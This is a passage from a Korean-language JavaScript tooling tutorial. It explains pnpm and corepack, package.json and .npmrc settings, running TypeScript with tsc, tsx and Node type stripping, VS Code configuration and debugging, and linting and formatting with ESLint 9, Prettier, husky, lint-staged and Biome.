# ★ 진짜 좋은 점 — 프로젝트가 버전을 정합니다
cd my-app
corepack use pnpm@10           # package.json 에 기록 + lockfile 준비
{
  "packageManager": "pnpm@10.15.0+sha512.abc123..."
}
// 팀원이 이 저장소에서 pnpm 을 치면
// corepack 이 정확히 이 버전을 받아 실행합니다.
// "너는 pnpm 9 라서 lockfile 이 다르네" 사고가 사라집니다 ★
Node 25 부터 corepack 이 기본 배포에서 빠질 예정입니다. 그때는 npm i -g corepack 로 따로 깔거나 npm i -g pnpm 로 직접 설치하면 됩니다. 지금 Node 24 에서는 동봉되어 있으니 corepack enable 이면 충분합니다.

명령 대조표 — 외울 것은 이것뿐

하는 일npmpnpm
전부 설치npm ipnpm i
패키지 추가npm i axiospnpm add axios
개발용 추가npm i -D vitestpnpm add -D vitest
삭제npm rm axiospnpm remove axios
스크립트 실행npm run devpnpm dev (run 생략 가능)
한 번만 실행npx vitepnpm dlx vite
로컬 bin 실행npx tscpnpm exec tsc
lock 그대로 설치npm ci ★pnpm i --frozen-lockfile ★
업데이트 확인npm outdatedpnpm outdated
CI 에서는 반드시 npm ci · pnpm i --frozen-lockfile 을 쓰세요. 일반 install 은 lockfile 을 고쳐 버릴 수 있어서 “내 PC 에선 되는데 CI 에선 안 되는” 상황을 만듭니다.

package.json 을 한 줄씩 — 각 항목이 하는 일 🟢 기초

실제로 쓰이는 필드만

{
  "name": "my-app",
  "version": "0.1.0",
  "private": true,              // ★ 실수로 npm publish 되는 것을 막습니다
  "type": "module",             // ★ import/export 문법 사용 선언

  "scripts": {
    "dev":     "tsx watch src/index.ts",
    "build":   "tsc -p tsconfig.build.json",
    "start":   "node dist/index.js",
    "test":    "vitest run",
    "lint":    "eslint .",
    "format":  "prettier --write .",
    "typecheck": "tsc --noEmit"
  },

  "dependencies": {             // 운영에서도 필요한 것
    "express": "^5.1.0"
  },
  "devDependencies": {          // 개발할 때만 (빌드 결과에 안 들어감)
    "typescript": "^5.9.0",
    "tsx": "^4.20.0"
  },

  "engines": { "node": ">=24" },
  "packageManager": "pnpm@10.15.0"
}
scripts 안에서는 node_modules/.bin 이 자동으로 PATH 에 붙습니다. 그래서 "lint": "eslint ." 처럼 경로 없이 써도 동작합니다. 터미널에서 직접 칠 때만 pnpm exec eslint . 이 필요합니다.

버전 기호 — ^ 와 ~ 의 차이

"express": "^5.1.0"
   ^ = 맨 왼쪽 0 이 아닌 자리를 고정
     → 5.1.0 이상 6.0.0 미만  (5.9.2 로 올라갈 수 있음)  ★ 기본값

"express": "~5.1.0"
   ~ = 패치만 허용
     → 5.1.0 이상 5.2.0 미만

"express": "5.1.0"
   정확히 그 버전만

"express": "*"        아무거나 — 절대 쓰지 마세요
"express": "next"     태그 지정

★ 0.x 버전은 규칙이 다릅니다
   "^0.3.1" → 0.3.1 이상 0.4.0 미만 (마이너도 안 올림)
   1.0 전 라이브러리는 마이너 업데이트에서도 깨지기 때문입니다
그럼 ^ 때문에 매번 다른 버전이 깔리나요? — 아닙니다. package-lock.json / pnpm-lock.yaml 이 정확한 버전을 못 박습니다. 그래서 lockfile 은 반드시 커밋하고, node_modules 는 절대 커밋하지 않습니다.

유령 의존성 — pnpm 이 잡아 주는 버그

// package.json 에는 express 만 적었는데
import express from "express";
import qs from "qs";      // ← express 가 끌고 온 것을 몰래 사용

// npm: 동작합니다 (평평한 node_modules 라 보입니다)
// pnpm: 즉시 실패 ★ Cannot find module 'qs'
//   → express 가 qs 를 버리는 순간 운영에서 터질 폭탄을
//      개발 시점에 미리 잡아 줍니다

한 단계 더 — .npmrc · 사내 프록시 · 캐시 🟡 중급

.npmrc 는 세 곳에 있습니다

① 프로젝트 루트  ./.npmrc          ← 팀 공통 설정. 커밋합니다
② 사용자         ~/.npmrc          ← 내 토큰·미러. 커밋하지 않습니다 ★
③ 전역           $PREFIX/etc/npmrc ← 거의 안 씀

뒤로 갈수록 약합니다 — 프로젝트 설정이 이깁니다.
확인:  npm config list
       npm config get registry
# ./.npmrc — 팀 공통 (커밋)
engine-strict=true
save-exact=false
auto-install-peers=true

# 사내 미러를 쓸 때
registry=https://nexus.mycorp.com/repository/npm-group/

# 특정 스코프만 사내 저장소로
@mycorp:registry=https://nexus.mycorp.com/repository/npm-private/
# ~/.npmrc — 개인 (커밋 금지)
//nexus.mycorp.com/repository/npm-private/:_authToken=${NPM_TOKEN}

# 사내 프록시를 지나야 한다면
proxy=http://proxy.mycorp.com:8080
https-proxy=http://proxy.mycorp.com:8080
noproxy=localhost,127.0.0.1,.mycorp.com
토큰을 ./.npmrc 에 적고 커밋하는 사고가 매우 흔합니다. 토큰은 반드시 ~/.npmrc 에 두거나, 위처럼 ${NPM_TOKEN} 환경 변수 참조를 쓰세요. npm 은 .npmrc 안의 ${...} 를 환경 변수로 치환해 줍니다.

캐시 — 어디에 쌓이고 어떻게 비우나

# 위치 확인
npm config get cache        # 윈도우: %LocalAppData%\npm-cache
pnpm store path             # ~/.local/share/pnpm/store

# 얼마나 쓰고 있나
pnpm store status

# 정리 (어디에서도 참조하지 않는 파일만 삭제 — 안전합니다)
pnpm store prune
npm cache verify

# 최후의 수단 (전부 삭제 · 다음 설치가 느려질 뿐 위험하지 않습니다)
npm cache clean --force

# ★ 오프라인에서 설치하기 (캐시만으로)
npm i --offline
pnpm i --offline
“설치가 이상하다” 싶을 때의 표준 초기화 절차 (st12 에서 다시 다룹니다)
① node_modules 삭제 → ② lockfile 삭제(정말 필요할 때만) → ③ pnpm store prune → ④ 다시 pnpm i. lockfile 삭제는 마지막 수단입니다 — 버전이 통째로 바뀔 수 있습니다.

모노레포 한 눈에

# pnpm-workspace.yaml
packages:
  - "apps/*"
  - "packages/*"
pnpm --filter web add react       # web 앱에만 추가
pnpm --filter web dev             # web 앱만 실행
pnpm -r build                     # 전체 패키지 빌드
pnpm add -w -D typescript         # 루트에 공통 개발 도구
정리 — 넷 다 같은 일을 하지만 pnpm 이 빠르고 디스크를 아끼며 더 엄격합니다. corepack enable pnpm 한 줄이면 설치 끝이고, packageManager 필드로 팀 전체 버전을 고정합니다. lockfile 은 커밋 · node_modules 는 커밋 금지 — 이 원칙만은 어기지 마세요.
SETUP 07

TypeScript 설치와 첫 실행 — tsc · tsx · node

TypeScript 를 처음 깔면 가장 헷갈리는 것이 “그래서 어떻게 실행하지” 입니다. 길이 셋인데 하는 일이 서로 다릅니다. 이 구분만 잡으면 설정 파일도 저절로 이해됩니다.

같은 src/index.ts 를 실행하는 세 갈래 — 하는 일이 다릅니다 src/index.ts tsc 타입 검사 O · 느림 dist/index.js 를 만듭니다 tsx 타입 검사 X · 매우 빠름 파일을 안 남기고 바로 실행 node index.ts 타입 검사 X · 설치 0 타입 표기만 지워 실행 배포용 결과물 ★ node dist/index.js 로 실행 CI · 도커에서 쓰는 길 개발 중 실행 ★ tsx watch 로 자동 재시작 개발 서버에 쓰는 길 작은 스크립트 enum · 데코레이터 불가 한 파일짜리 도구에 적합 실무 조합 — 개발은 tsx, 검사는 tsc --noEmit, 배포 산출물만 tsc 세 가지를 고르는 문제가 아니라 셋을 각자 자리에 쓰는 문제입니다 "실행됐으니 타입도 맞겠지" 는 착각입니다 — tsx 와 node 는 타입을 보지 않고 지웁니다
가장 중요한 사실 — 실행과 타입 검사는 완전히 다른 일입니다.

0 에서 시작하는 TypeScript 프로젝트

mkdir ts-app && cd ts-app
corepack enable pnpm

pnpm init
pnpm pkg set type=module

# ★ 전역 설치하지 마세요. 프로젝트에 넣습니다
pnpm add -D typescript tsx @types/node

# tsconfig.json 생성
pnpm exec tsc --init

# 첫 파일
mkdir src
# src/index.ts 를 만들고 아래 코드를 넣습니다

pnpm exec tsx src/index.ts          # 즉시 실행
pnpm exec tsx watch src/index.ts    # 저장 시 자동 재시작
pnpm exec tsc --noEmit              # 타입만 검사
pnpm exec tsc                       # dist/ 에 js 생성
// src/index.ts
interface User {
  id: number;
  name: string;
  email?: string;          // 있어도 되고 없어도 됨
}

function greet(user: User): string {
  return `안녕하세요 ${user.name}님`;
}

const me: User = { id: 1, name: "김현우" };
console.log(greet(me));

// 일부러 틀려 보세요 — tsc --noEmit 만 잡아냅니다
// const bad: User = { id: "1", name: "김" };
//   → Type 'string' is not assignable to type 'number'

scripts 에 묶어 두면 명령이 짧아집니다

{
  "type": "module",
  "scripts": {
    "dev":       "tsx watch src/index.ts",
    "start":     "node dist/index.js",
    "build":     "tsc",
    "typecheck": "tsc --noEmit",
    "clean":     "rimraf dist"
  },
  "devDependencies": {
    "typescript": "^5.9.0",
    "tsx": "^4.20.0",
    "@types/node": "^24.0.0"
  }
}
pnpm dev          # 개발
pnpm typecheck    # 커밋 전 · CI 에서
pnpm build        # 배포 전
pnpm start        # 배포된 것 실행
@types/node 를 빼먹으면 process·__dirname·Buffer 에 “이름을 찾을 수 없습니다” 가 뜹니다. Node 프로젝트라면 거의 항상 필요합니다. 메이저 버전을 Node 와 맞추세요(@types/node@24).
ts-node 는 이제 tsx 로 대체됐습니다. tsx 는 esbuild 기반이라 훨씬 빠르고 ESM 설정 지옥이 없습니다. 옛 자료에서 ts-node 가 보이면 거의 그대로 tsx 로 바꿔 읽으면 됩니다.

tsconfig.json — 실제로 중요한 여덟 줄 🟢 기초

Node 백엔드용 최소 설정

{
  "compilerOptions": {
    "target": "ES2023",            // 어떤 문법까지 그대로 둘까
    "module": "NodeNext",          // Node 의 ESM/CJS 규칙을 따름
    "moduleResolution": "NodeNext",// import 경로를 어떻게 찾을까
    "lib": ["ES2023"],             // 쓸 수 있는 내장 API 목록

    "strict": true,                // ★ 이것 하나가 TS 의 절반입니다
    "noUncheckedIndexedAccess": true, // arr[0] 이 undefined 일 수 있음
    "verbatimModuleSyntax": true,  // import type 을 명시하게 강제

    "outDir": "dist",
    "rootDir": "src",
    "sourceMap": true,             // 디버거가 .ts 줄을 보여 줍니다
    "skipLibCheck": true,          // node_modules 타입은 검사 생략 (빠름)
    "esModuleInterop": true
  },
  "include": ["src"],
  "exclude": ["node_modules", "dist"]
}
strict: true 는 절대 끄지 마세요. 끄면 null·undefined 검사가 사라져서 “타입스크립트를 쓰는데도 Cannot read properties of undefined” 가 계속 납니다. 기존 코드가 너무 많아 부담되면 strict 를 켜고 "strictNullChecks": false 부터 하나씩 되돌리는 편이 낫습니다.

번들러(Vite·Next)용 설정은 다릅니다

{
  "compilerOptions": {
    "target": "ES2022",
    "module": "ESNext",
    "moduleResolution": "bundler",  // ★ 확장자 없이 import 허용
    "lib": ["ES2022", "DOM", "DOM.Iterable"],

    "strict": true,
    "noEmit": true,                 // ★ 빌드는 Vite 가 합니다
    "jsx": "react-jsx",             // React 를 쓸 때
    "isolatedModules": true,
    "moduleDetection": "force",

    "paths": { "@/*": ["./src/*"] }, // import "@/utils" 처럼
    "baseUrl": "."
  },
  "include": ["src"]
}
환경moduleResolution
Node 서버 (tsc 로 빌드)NodeNext · import 에 .js 필수
Vite · Next · 번들러bundler · 확장자 생략
tsx 로만 실행둘 다 가능 (bundler 가 편함)
“왜 .ts 파일에서 ./util.js 라고 써야 하나요” — NodeNext 는 컴파일 결과 기준으로 경로를 씁니다. 실행될 때는 util.js 가 있으니까요. 타입은 알아서 util.ts 를 찾아갑니다. 헷갈리면 번들러를 쓰거나 bundler 모드를 쓰면 이 문제가 사라집니다.

한 단계 더 — Node 24 의 타입 스트리핑 🟡 중급

도구 없이 .ts 를 실행하기

# Node 22.6  실험적 (--experimental-strip-types 필요)
# Node 22.18 / 24  기본 활성 ★ 플래그 없이 됩니다
node src/index.ts

# 무슨 일이 벌어지나
#   : string  같은 타입 표기를 공백으로 지우고 실행합니다.
#   타입 검사는 하지 않습니다. 정말 "지우기"만 합니다.
#   지운 자리를 공백으로 채우므로 줄 번호가 그대로 맞습니다.

# 검사는 따로
pnpm exec tsc --noEmit
문법node 로 직접 실행
: string · interface · type✅ 됩니다
as · 제네릭 · satisfies✅ 됩니다
enum❌ 코드를 만들어 냄
namespace (값이 있는)❌
구 데코레이터 · parameter properties❌
다른 .ts 파일 import✅ Node 24 부터
미리 막아 두는 옵션이 있습니다. tsconfig 에 "erasableSyntaxOnly": true 를 켜면 enum 같은 문법을 편집기가 즉시 빨간 줄로 잡아 줍니다. Node 로 직접 실행할 계획이라면 켜 두세요. enum 대신 const OBJ = {...} as const 를 쓰면 됩니다.

그래도 tsx 를 쓰는 이유

tsx 가 더 나은 점
  • tsx watch — 저장 시 재시작이 자연스러움
  • paths·tsconfig 별칭을 그대로 해석
  • CJS 패키지 상호 운용이 매끄러움
  • Node 20 이하에서도 동일하게 동작
node 직접 실행의 한계
  • tsconfig 의 paths 를 안 봄
  • 일부 TS 문법 불가
  • Node 버전에 따라 동작이 다름

타입 검사를 “빠뜨리지 않게” 하는 장치

# .github/workflows/ci.yml
- run: pnpm install --frozen-lockfile
- run: pnpm typecheck        # ★ tsc --noEmit
- run: pnpm lint
- run: pnpm test
이것이 가장 흔한 신입 사고입니다. tsx 로만 돌리다 보면 타입 오류가 쌓인 채 몇 주가 지나가고, 배포 직전에 tsc 를 처음 돌렸다가 에러 수백 개를 봅니다. CI 에 typecheck 를 첫날부터 넣어 두세요.
정리 — 실행과 타입 검사는 다른 일입니다. 개발은 tsx watch, 검사는 tsc --noEmit, 배포 산출물은 tsc. Node 24 는 .ts 를 직접 실행할 수 있지만 타입을 지울 뿐 검사하지 않습니다. tsconfig 에서 진짜 중요한 것은 strict · module · moduleResolution 셋입니다.
SETUP 08

VS Code 완전 세팅 — 확장 · settings · 디버깅

편집기는 “예쁘게 보이는 도구”가 아니라 타입 오류를 즉시 알려 주고 저장할 때마다 코드를 정돈해 주는 장치입니다. 이 절만 따라 하면 남이 세팅해 준 회사 PC 와 같은 상태가 됩니다.

설정은 세 겹 — 오른쪽이 왼쪽을 덮습니다 VS Code 기본값 아무것도 안 건드린 상태 사용자 settings.json 내 모든 프로젝트에 적용 .vscode/settings.json 이 프로젝트에만 · 커밋 ★ Ctrl+S 를 누르면 순서대로 벌어지는 일 저장 Ctrl+S 여기서 시작 ESLint --fix 고칠 수 있는 규칙만 import 정렬 등 Prettier 포맷 들여쓰기 · 따옴표 줄바꿈 통일 TS 서버 재검사 타입 오류 빨간 줄 Error Lens 가 옆에 표시 얻는 것 — 스타일 논쟁이 사라지고, 타입 오류를 커밋 전에 눈으로 봅니다 이 네 단계가 자동이 아니면 사람이 리뷰에서 지적하게 됩니다. 기계가 할 일을 사람이 하는 셈입니다 주의 — ESLint 와 Prettier 가 같은 것을 고치려 들면 저장할 때마다 코드가 출렁입니다 역할을 나누세요. 포맷은 Prettier, 코드 품질 규칙은 ESLint (st09 에서 설정 파일을 만듭니다)
편집기 세팅의 핵심은 저장 한 번에 네 가지가 자동으로 도는 상태를 만드는 것입니다.

확장 — 꼭 깔 것과 취향인 것

확장하는 일
ESLint
dbaeumer.vscode-eslint
규칙 위반을 빨간 줄로 · 저장 시 자동 수정 ★
Prettier
esbenp.prettier-vscode
코드 모양 통일 ★
Error Lens
usernamehw.errorlens
오류 메시지를 줄 옆에 바로 표시 — 체감 효과가 가장 큼 ★
Path Intellisenseimport "./" 에서 파일 경로 자동완성
Pretty TypeScript Errors긴 TS 오류를 읽기 좋게 정리
Vue - Official
Vue.volar
Vue 3 프로젝트라면 필수
ES7+ React snippetsReact 스니펫 (rafce 등)
Tailwind CSS IntelliSense클래스 이름 자동완성 · 색 미리보기
GitLens줄마다 누가 언제 고쳤는지
Code Spell Checker변수명 오타 잡기 (생각보다 유용)
# 명령으로 한 번에 깔기
code --install-extension dbaeumer.vscode-eslint
code --install-extension esbenp.prettier-vscode
code --install-extension usernamehw.errorlens
code --install-extension christian-kohler.path-intellisense
code --install-extension yoavbls.pretty-ts-errors

# 지금 깔린 목록 뽑기 (새 PC 로 옮길 때)
code --list-extensions > extensions.txt
깔지 말아야 할 것도 있습니다. TSLint(폐기됨), Prettier ESLint(충돌 유발), JavaScript (ES6) code snippets(중복 자동완성)는 오히려 방해가 됩니다. 확장은 적을수록 좋습니다 — 느려지고 서로 싸웁니다.

.vscode/settings.json — 프로젝트에 커밋

{
  "editor.formatOnSave": true,
  "editor.defaultFormatter": "esbenp.prettier-vscode",
  "editor.codeActionsOnSave": {
    "source.fixAll.eslint": "explicit",
    "source.organizeImports": "never"
  },

  "editor.tabSize": 2,
  "editor.rulers": [100],
  "files.eol": "\n",
  "files.insertFinalNewline": true,
  "files.trimTrailingWhitespace": true,

  "typescript.tsdk": "node_modules/typescript/lib",
  "typescript.enablePromptUseWorkspaceTsdk": true,
  "typescript.preferences.importModuleSpecifier": "non-relative",
  "typescript.updateImportsOnFileMove.enabled": "always",

  "eslint.useFlatConfig": true,
  "search.exclude": {
    "**/node_modules": true,
    "**/dist": true,
    "**/pnpm-lock.yaml": true
  }
}
source.organizeImports 는 "never" 를 권합니다. ESLint 의 import 정렬 규칙과 동시에 켜면 저장할 때마다 두 도구가 서로 되돌립니다. 정렬은 한쪽에만 맡기세요.
.vscode/settings.json 은 커밋합니다. 팀 전체가 같은 포맷 규칙을 쓰게 되니까요. 반대로 색 테마·폰트 같은 개인 취향은 사용자 설정(Ctrl+Shift+P → Preferences: Open User Settings (JSON))에 둡니다.

워크스페이스 TypeScript 버전 — 빨간 줄이 다를 때 🟢 기초

증상과 원인

pnpm typecheck 는 통과하는데 편집기에만 빨간 줄이 뜨거나, 그 반대 상황. 원인은 거의 항상 편집기가 자기 안에 들어 있는 TypeScript 를 쓰고 있어서입니다. VS Code 는 자체 내장 TS 를 갖고 있고, 프로젝트는 node_modules 안의 TS 를 씁니다.

확인 · 전환 방법

① .ts 파일을 하나 엽니다
② Ctrl+Shift+P
③ "TypeScript: Select TypeScript Version" 입력
④ 선택지가 둘 나옵니다
     Use VS Code's Version   5.x.x   ← 내장
     Use Workspace Version   5.9.x   ← node_modules ★ 이것
⑤ 오른쪽 아래 상태 표시줄에 버전이 뜹니다

★ .vscode/settings.json 에
    "typescript.tsdk": "node_modules/typescript/lib"
  를 적어 두면 팀원 전부 자동으로 맞춰집니다
TS 서버가 이상해졌을 때의 만능 처방 — Ctrl+Shift+P → TypeScript: Restart TS Server. node_modules 를 다시 설치한 직후나 브랜치를 갈아탄 뒤 “분명 있는 모듈을 없다고 하는” 현상이 여기서 대부분 해결됩니다.

.vscode/extensions.json — 팀에게 권하기

{
  "recommendations": [
    "dbaeumer.vscode-eslint",
    "esbenp.prettier-vscode",
    "usernamehw.errorlens",
    "Vue.volar"
  ],
  "unwantedRecommendations": [
    "octref.vetur"
  ]
}
// 팀원이 이 저장소를 열면 VS Code 가
// "권장 확장을 설치할까요?" 라고 물어봅니다.

.editorconfig — 편집기를 안 가리는 최소 합의

root = true

[*]
charset = utf-8
end_of_line = lf
insert_final_newline = true
indent_style = space
indent_size = 2
trim_trailing_whitespace = true

[*.md]
trim_trailing_whitespace = false
윈도우 팀원과 협업한다면 end_of_line = lf 는 사실상 필수입니다. 안 그러면 파일 전체가 바뀐 것으로 보이는 diff 가 계속 생깁니다. git config --global core.autocrlf input 도 같이 설정해 두세요.

한 단계 더 — launch.json 으로 진짜 디버깅 🟡 중급

.vscode/launch.json

{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Node: 현재 파일",
      "type": "node",
      "request": "launch",
      "program": "${file}",
      "runtimeArgs": ["--env-file=.env"],
      "console": "integratedTerminal",
      "skipFiles": ["<node_internals>/**"]
    },
    {
      "name": "TS: tsx 로 서버 실행",
      "type": "node",
      "request": "launch",
      "runtimeExecutable": "tsx",
      "args": ["src/index.ts"],
      "console": "integratedTerminal",
      "skipFiles": ["<node_internals>/**", "**/node_modules/**"]
    },
    {
      "name": "이미 돌고 있는 프로세스에 붙기",
      "type": "node",
      "request": "attach",
      "port": 9229,
      "restart": true
    }
  ]
}
skipFiles 를 꼭 넣으세요. 없으면 한 줄씩 실행할 때 Node 내부 코드와 라이브러리 안으로 끝없이 들어갑니다. 이것 하나로 디버깅 체감이 완전히 달라집니다.

디버거를 쓰는 최소 흐름

① 멈추고 싶은 줄 번호 왼쪽을 클릭 → 빨간 점(중단점)
② F5 로 실행 (또는 왼쪽 실행 아이콘 → 구성 선택)
③ 멈추면 왼쪽 패널에서 변수 값을 봅니다
④ 조작 키
     F10  다음 줄로 (함수 안에는 안 들어감)
     F11  함수 안으로 들어감
     Shift+F11  함수 밖으로 나옴
     F5   다음 중단점까지 진행
⑤ 하단 "디버그 콘솔" 에서 그 시점의 변수를 직접 계산해 볼 수 있습니다

★ 조건부 중단점 — 빨간 점 우클릭 → "조건부 중단점 편집"
   i === 500 처럼 조건을 걸면 반복문 안에서도 정확히 잡힙니다
# 편집기 없이 터미널에서 붙이는 방법
node --inspect-brk src/index.js
# → chrome://inspect 또는 VS Code 의 "attach" 구성으로 접속

# 이미 돌고 있는 서버에 나중에 붙기 (운영에서는 주의)
node --inspect src/index.js
console.log 도 훌륭한 도구입니다. 다만 “이 시점에 값이 무엇인지”가 아니라 “왜 이 값이 됐는지”를 알아야 할 때는 디버거가 압도적으로 빠릅니다. 로그를 다섯 번 이상 찍어 봤다면 그때가 디버거를 켤 시점입니다.
정리 — ESLint · Prettier · Error Lens 셋만 깔아도 체감이 달라집니다. .vscode/settings.json 과 extensions.json 을 커밋해 팀 전체를 같은 상태로 만들고, 워크스페이스 TS 버전을 node_modules 쪽으로 맞추세요. 이상하면 Restart TS Server 가 만능 처방입니다.
SETUP 09

린트 · 포맷 — ESLint 9 · Prettier · Biome

Prettier 는 “모양”을, ESLint 는 “실수”를 봅니다. 역할이 다른데 겹치게 설정해서 싸움을 붙이는 경우가 많습니다. 2026년 기준 설정 파일을 통째로 적어 두겠습니다.

코드 품질 관문 셋 — 앞에서 걸릴수록 고치는 값이 쌉니다 ① 저장할 때 편집기 · 즉시 · 0초 formatOnSave + fixAll 고치는 값 — 거의 없음 ② 커밋할 때 husky + lint-staged 바뀐 파일만 · 몇 초 고치는 값 — 조금 ③ CI 에서 전체 파일 · 몇 분 lint + typecheck + test 고치는 값 — 비쌈 두 번째 관문 안에서 실제로 벌어지는 일 git commit 엔터를 누른 순간 husky 훅 .husky/pre-commit lint-staged 스테이징된 파일만 고치고 커밋 못 고치면 커밋 중단 왜 lint-staged 인가 — 전체를 검사하면 커밋마다 몇 분씩 걸려 아무도 안 씁니다 바뀐 파일만 보면 보통 1~3초. "빨라서 계속 쓰게 되는 것" 이 이 도구의 유일한 존재 이유입니다 셋 중 하나로 나머지를 대체할 수 없습니다 — 편집기는 놓칠 수 있고, 훅은 우회할 수 있습니다 최종 방어선은 언제나 CI 입니다. 그래도 앞의 둘이 있어야 CI 가 붉게 물들지 않습니다
품질 장치는 하나를 완벽히 하는 것보다 싼 관문을 여러 개 두는 쪽이 실제로 작동합니다.

역할 분담 — 이것만 지키면 안 싸웁니다

PrettierESLint
보는 것모양실수 · 위험
예들여쓰기 · 따옴표 · 줄 길이 · 세미콜론 안 쓰는 변수 · await 빠뜨림 · any 남용
토론 여지없음 — 설정이 거의 없습니다팀마다 다름
자동 수정전부일부만 (--fix)
pnpm add -D eslint @eslint/js typescript-eslint prettier eslint-config-prettier globals

# eslint-config-prettier 의 역할 ★
#   ESLint 의 "모양" 관련 규칙을 전부 꺼서
#   Prettier 와 부딪치지 않게 합니다. 반드시 마지막에 놓습니다.
eslint-plugin-prettier 는 권하지 않습니다. Prettier 를 ESLint 규칙으로 돌리는 방식인데, 느리고 포맷 차이가 전부 빨간 줄로 보여 진짜 오류가 묻힙니다. 둘을 따로 돌리고 eslint-config-prettier 로 충돌만 끄는 것이 현재 권장입니다.

eslint.config.js — flat config (ESLint 9)

// eslint.config.js — ★ .eslintrc 는 이제 안 씁니다
import js from "@eslint/js";
import tseslint from "typescript-eslint";
import prettier from "eslint-config-prettier";
import globals from "globals";

export default tseslint.config(
  { ignores: ["dist/**", "coverage/**", "*.config.js"] },

  js.configs.recommended,
  ...tseslint.configs.recommendedTypeChecked,

  {
    languageOptions: {
      globals: { ...globals.node },
      parserOptions: {
        projectService: true,           // ★ tsconfig 자동 연결
        tsconfigRootDir: import.meta.dirname,
      },
    },
    rules: {
      "@typescript-eslint/no-unused-vars": [
        "warn", { argsIgnorePattern: "^_" }
      ],
      "@typescript-eslint/no-floating-promises": "error",  // ★ await 누락
      "@typescript-eslint/no-explicit-any": "warn",
      "no-console": ["warn", { allow: ["warn", "error"] }],
      eqeqeq: ["error", "always"],
    },
  },

  prettier,          // ★ 반드시 맨 마지막
);
no-floating-promises 하나만으로도 도입할 값어치가 있습니다. await 를 빠뜨린 비동기 호출은 조용히 실패하기 때문에 사람이 리뷰로 잡기 가장 어려운 버그입니다. 이 규칙은 recommendedTypeChecked 를 써야 동작합니다(타입 정보가 필요).

Prettier · husky · lint-staged — 설정 파일 전부 🟢 기초

.prettierrc · .prettierignore

// .prettierrc
{
  "semi": true,
  "singleQuote": false,
  "printWidth": 100,
  "tabWidth": 2,
  "trailingComma": "all",
  "arrowParens": "always",
  "endOfLine": "lf",
  "plugins": ["prettier-plugin-tailwindcss"]
}
# .prettierignore
node_modules
dist
coverage
pnpm-lock.yaml
*.min.js
pnpm exec prettier --write .        # 전부 정리
pnpm exec prettier --check .        # 검사만 (CI 용)
pnpm exec eslint .                  # 린트
pnpm exec eslint . --fix            # 고칠 수 있는 것만 고침
Prettier 설정으로 팀이 싸울 일은 거의 없습니다. 선택지가 일부러 적게 만들어졌기 때문입니다. printWidth 와 singleQuote 정도만 정하고 넘어가세요 — “통일되어 있다”는 사실 자체가 어떤 값을 고르는지보다 중요합니다.

커밋 훅 — husky + lint-staged

pnpm add -D husky lint-staged
pnpm exec husky init           # .husky/ 폴더와 pre-commit 생성

# .husky/pre-commit 의 내용을 아래 한 줄로
echo "pnpm exec lint-staged" > .husky/pre-commit
// package.json
{
  "scripts": { "prepare": "husky" },
  "lint-staged": {
    "*.{ts,tsx,js,jsx}": [
      "eslint --fix",
      "prettier --write"
    ],
    "*.{json,md,css,yml}": "prettier --write"
  }
}
// "prepare" 는 pnpm install 후 자동 실행됩니다
// → 팀원이 저장소를 받으면 훅이 알아서 설치됩니다 ★
훅이 안 걸릴 때 확인할 것 — ① .husky/pre-commit 파일이 실제로 있는지, ② git config core.hooksPath 가 .husky 인지, ③ 맥·리눅스에서 실행 권한(chmod +x)이 있는지. 급할 때는 git commit --no-verify 로 건너뛸 수 있지만 습관이 되면 훅이 있으나 마나가 됩니다.
커밋 메시지도 검사하고 싶다면 commitlint 를 commit-msg 훅에 붙입니다. feat: · fix: 같은 형식을 강제하면 CHANGELOG 자동 생성과 자동 버전 올리기까지 이어집니다.

한 단계 더 — Biome 으로 한 방에 🟡 중급

ESLint + Prettier 를 하나로

pnpm add -D --save-exact @biomejs/biome
pnpm exec biome init            # biome.json 생성

pnpm exec biome check .         # 린트 + 포맷 검사
pnpm exec biome check --write . # 고치기
pnpm exec biome format --write .
pnpm exec biome lint .

# 기존 설정에서 옮겨오기
pnpm exec biome migrate eslint --write
pnpm exec biome migrate prettier --write
// biome.json
{
  "$schema": "https://biomejs.dev/schemas/2.0.0/schema.json",
  "files": { "includes": ["src/**"] },
  "formatter": { "indentStyle": "space", "indentWidth": 2, "lineWidth": 100 },
  "linter": {
    "enabled": true,
    "rules": { "recommended": true }
  },
  "assist": { "actions": { "source": { "organizeImports": "on" } } }
}
VS Code 확장은 biomejs.biome 하나만 깔고 "editor.defaultFormatter": "biomejs.biome" 로 지정하면 됩니다. ESLint·Prettier 확장은 꺼 두세요 — 켜 두면 서로 다시 싸웁니다.

Biome 을 쓸까 말까

Biome 이 좋은 경우
  • 새로 시작하는 프로젝트
  • 설정 파일 개수를 줄이고 싶다
  • 린트가 느려서 아무도 안 돌린다 (Rust 라 수십 배 빠릅니다)
  • 규칙을 많이 커스터마이즈하지 않는다
ESLint 를 유지할 경우
  • 플러그인 생태계가 필요 (React Hooks · import · a11y · 사내 규칙)
  • 타입 정보 기반 규칙이 중요 (no-floating-promises 등)
  • 이미 팀이 잘 쓰고 있다
  • 프레임워크 공식 설정이 ESLint 기준
절충안도 흔합니다 — 포맷은 Biome(빠름), 린트는 ESLint(규칙 다양). 이 조합이면 Prettier 를 지우고 eslint-config-prettier 대신 Biome 포맷 규칙과의 충돌만 관리하면 됩니다.

CI 에 넣는 최소 구성

{
  "scripts": {
    "lint": "eslint .",
    "format:check": "prettier --check .",
    "typecheck": "tsc --noEmit",
    "verify": "pnpm lint && pnpm format:check && pnpm typecheck && pnpm test"
  }
}
CI 에서는 --fix 를 쓰지 마세요. 고쳐 놓고 커밋하지 않으면 다음 실행에서 또 같은 일이 반복됩니다. CI 는 검사만 하고 실패시키는 역할이고, 고치는 것은 개발자 PC 의 몫입니다.
정리 — Prettier 는 모양, ESLint 는 실수. 겹치지 않게 eslint-config-prettier 를 맨 뒤에 둡니다. ESLint 9 은 eslint.config.js flat config 가 표준이고, husky + lint-staged 로 커밋 때 바뀐 파일만 빠르게 검사합니다. 설정이 부담스럽다면 Biome 한 개로 대체할 수 있습니다.
SETUP 10

프런트엔드 시작 — Vite 로 Vue · React 프로젝트

백엔드는 node index.js 하나면 되지만 프런트엔드는 개발 서버가 필요합니다. 2026년 기준 Vite 가 사실상 표준이고, 명령 한 줄이면 프로젝트가 만들어집니다.

